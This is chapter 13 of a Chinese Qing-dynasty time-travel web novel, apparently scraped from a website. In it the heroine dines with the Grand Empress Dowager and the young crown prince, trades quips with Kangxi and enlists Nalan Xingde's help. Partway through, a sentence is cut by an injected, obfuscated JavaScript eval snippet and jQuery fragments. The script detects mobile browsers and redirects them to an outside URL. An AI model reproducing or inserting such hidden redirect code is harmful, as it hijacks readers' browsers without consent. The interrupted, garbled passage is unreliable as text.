13. 第 13 章

作品:《养崽可以,进宫免谈[清穿]

    小太子胤礽瞧着有些瘦小,若是放在现代,说是五六岁也叫人相信,可是其实他已经八岁了。


    尚齐姜有些不能理解。


    按理说这位周岁就被立为储君的太子爷自小金尊玉贵的养着,该比同龄人发育更好才对,怎的看起来如此可怜?


    当然,也只是外表看着小些,若论言行,却是比实际年龄更加稳重,小大人儿一样。


    “保成来得正好,跟咱们一起用午膳吧,”


    太皇太后招手将胤礽叫到身边,拉着他的手满脸慈爱,“今儿中午备得清淡,正是你爱的。”


    胤礽恭敬的答应下来,太皇太后又问他别的,他也是一一认真作答。


    尚齐姜坐在一旁瞧着,却觉得这小太子着实有些不易。


    这个年纪的孩子本该是最淘气的时候,也不知康熙怎么养得,好好的孩子养得跟小老头儿一样,乖是乖,却无趣得很。


    尚齐姜蛮喜欢孩子的,但她更喜欢天真无邪的小孩儿,哪怕淘气些也烂漫可爱。


    像胤礽这般一看就心思重的孩子,她瞧着就累,并不想亲近,更何况胤礽身份尊贵,她本也该避避嫌。


    故而就算太皇太后特意想将她引入他们祖孙的谈话中,尚齐姜也是随口敷衍,不去接茬。


    这倒是叫胤礽忍不住多看她几眼。


    从小到大他遇到的人都会想方设法的讨好他,包括后宫里的妃嫔以及宗室命妇都是如此,若能哄他多说两句都会十分欢喜,可这位七婶却好似并不愿意搭理他。


    难道是他什么地方得罪过她吗?


    可他记不得之前见过她,只记得她送来的鸽子汤十分美味,后来御膳房虽然得了方子,但做出来的却总是差上几分。


    等用午膳的时候,胤礽更是一直偷偷瞄着尚齐姜。


    尚齐姜昨儿一天没吃东西,今天早膳也被拦着用得不多,刚又泡了汤开了胃口,所以这会儿自己一筷子一筷子吃的香甜。


    胤礽瞧着有趣,便她吃什么,他就跟着吃什么,也不知为何,就是觉得她喜欢吃的菜更香些。


    不知不觉间,这顿午膳他竟是吃撑了。


    “今儿保成的胃口倒是不错,下午回去别叫他再用那么多点心。”


    太皇太后对着胤礽的太监嘱咐道。


    胤礽没吭声,只是低着头喝消食茶,但尚齐姜却瞧出了他的几分不情愿。


    她倒是觉得刚刚那顿饭胤礽吃的并不算很多。


    这个年纪的孩子本该胃口好,今儿膳食备得清淡,都没什么荤腥,再吃能吃多少?


    一肚子青菜豆腐的,随便跑跑跳跳就消化了,若是下午的点心再不给,那就要饿到晚膳了。


    可怜的娃,看这逆来顺受的模样,故意已经饿习惯了,怪不得长得这般瘦小呢。


    太皇太后年纪大了,泡了汤又用了膳,觉得困倦,叫苏麻喇姑陪着进去午睡去了,尚齐姜不想吃完就躺下,便叫人拿了大氅来,准备出去溜达溜达消消食。


    正好胤礽也要回去,二人就一起出了门。


    许是行宫地下有温泉的缘故,这里的温度好似比京中要高些,又是正午,阳光照在身上暖洋洋的,一点都不冷。


    尚齐姜眯着眼睛仰着头,任由阳光洒在脸上,想象着自己就是一颗向日葵,仿佛可以从阳光里吸收生长的力量。


    胤礽不太理解尚齐姜在干什么,却也学着她的模样闭眼望天,跟着的宫女们面面相觑,不知道该不该上前阻止。


    忙活了半日政事来晚了的康熙一过来就瞧见院子里杵着一大一小两颗“向日葵”,不由得停住脚步,问身后跟着的纳兰性德:“容若啊,你可知这是练得什么功夫?”


    纳兰性德忍笑回道:“许是泡汤太久,出来晒晒太阳晾晾干。”


    康熙也笑:“估计又是纯亲王福晋在作怪,保成这个傻孩子,竟信她学她!”


    早就听到动静的尚齐姜缓缓睁开眼睛望向康熙——


    她听得见!


    哼,晒太阳能促进钙吸收都不懂,果然是没见过世面的古代人!


    “呦,肚子里骂朕呢?”


    康熙调侃道,“来来来,你若有道理就说出来听听,要是朕冤枉了你,朕拿好东西赔给你。”


    尚齐姜福了福身算是全了礼,然后说道:“皇上看这院子里的树都朝着太阳长,听闻宫里的藏书每年也要搬出来晒晒太阳,更何况是人呢?总归是要多见阳光才好,我不过是顺应自然而已。”


    康熙还真反驳不了,只好摇头笑道:“行吧,算你有理,既然你提到书了,容若,等会儿去朕的书房里找几本书给她,就算是赔礼了。”


    尚齐姜:……


    所谓恩将仇报,不外如是!


    心里腹诽着,但面上她还是只能谢恩。


    康熙听说太皇太后已经歇下了,便不再进去请安,顺手将儿子捡着,往回走去。


    下午,康熙当真说到做到,叫纳兰性德亲自将书送了过来。


    纳兰性德一直深得康熙看重,在太皇太后面前也是挂了号的,故而听到是他,太皇太后便叫他进来回话。


    尚齐姜随手翻了翻那叠书,更加确定康熙就是蓄意报复了——


    明明说好了是从他书房里挑书,可这莫名其妙的女四书是什么鬼?


    难不成堂堂帝王还有看这些书的怪癖吗?!


    尚齐姜嫌弃地将那一叠“封建糟粕”推开,抬头看向正恭敬向太皇太后回话的纳兰性德,觉得还是看帅哥更叫人舒坦。


    她的目光有些过于肆意,纳兰性德忍不住也看过来,眼中带着疑惑,就连太皇太后都止了话头,也看向尚齐姜。


    尚齐姜这才惊觉自己失了分寸,赶紧干笑道:“我就是突然想起来前几日见过纳兰夫人,瞧着纳兰侍卫跟他额娘果然有些像。”


    “这话说得,亲娘俩能不像?”


    太皇太后失笑,“你跟你额娘也像,有时候瞧着你啊,就好像瞧见你额娘当初在宫里时的模样。听说她身子不爽利,十五宫宴都没来,也不知道如今怎么样了。”


    毕竟是亲自抚养过的孩子,太皇太后对和顺公主自有一片舐犊之情,在不影响朝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471872|201527||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    局的情况下,她也是向来愿意多看顾着她的。


    尚齐姜语气有些低落的说道:“十五那日我本想去公主府探望,可额娘却不肯见我。”


    太皇太后如何不知道其中情由,也是叹了口气:“你额娘什么都好,就是心思重想得太多,过于瞻前顾后了。如今孔格格都带着儿子跟着咱们出来玩了,偏她三催四请也不肯露面,叫我好不担心!”


    尚齐姜劝道:“好在眼看着大局已定,等彻底平了动乱,额娘心里踏实就好了。”


    她能体谅和顺公主的心情,毕竟有吴应熊父子的前车之鉴,担忧是人之常情。


    更何况和顺公主的娘家庄亲王府还牵扯到布尔尼叛乱。


    庄亲王博果铎的福晋是布尔尼的亲妹妹,随着父兄被绞死后也跟着“病逝”了,这些年来博果铎也是一样的闭门不出,以图自保。


    尚齐姜这一家子亲戚,说起来都是宗室贵胄,但在这动荡之时也都是自身难保,要不然也不至于到原主病逝时都无人在身边帮衬的田地。


    说到了和顺公主后,太皇太后明显心情不那么好,她叫尚齐姜自己玩儿,然后又回了后面去泡汤去了。


    尚齐姜身子弱,不适合长时间泡温泉,便没想跟着,而是起身送纳兰性德出门。


    行至门口,纳兰性德忍不住问道:“我听说纯亲王府的外务如今都被太监把持着,这并非长久之计,你可想过要如何处置?”


    他之间跟明珠以此事打赌,事关再娶之议,难免有些在意。


    特别是听说尚齐姜这次出来还带了王德福,他更是担忧,怕她当真信了那太监,故而忍不住发问。


    尚齐姜没想到这位大才子还有一颗八卦之心,眨着一双大眼睛有些惊讶的看着他。


    纳兰性德拱手赔礼:“是我冒失了,若是不便说——”


    “没什么不便的,只是没想到你会问,”


    尚齐姜摆了摆手,“我倒是不介意用太监办事,但王德福此人过于贪婪,我自然是要想办法处置了的。”


    纳兰性德松了一口气,复又问道:“可需要我帮忙?我听闻王德福在京中另置了宅院,若有需要,我叫人去探探情况。”


    帮手自己送上门来,不用白不用,尚齐姜直接点头:“如此就劳烦小舅舅了。”


    王府里的事有福嬷嬷盯着王庆欢去盘查,外面的产业她的确暂时还无力去管,纳兰性德既然自愿帮忙,那她当然得好好跟他攀一攀亲。


    明珠多算计,但纳兰性德却未必与他父子同心。


    这可是康熙的心腹,日日带在身边的那一种,若非英年早逝,将来必是股肱之臣。


    只可惜,天妒英才。


    “小舅舅,切记保重身体啊,”


    尚齐姜将自己抱着的手炉塞进了纳兰性德的手里,郑重道,“天气尚冷,莫要大意。”


    纳兰性德只觉得手里暖烘烘的,心里也多了几分温度。


    自亡妻去后,已经很多年没有人将自己的暖炉塞给他了。


    就冲这个,她的事,他也定然要帮她办好!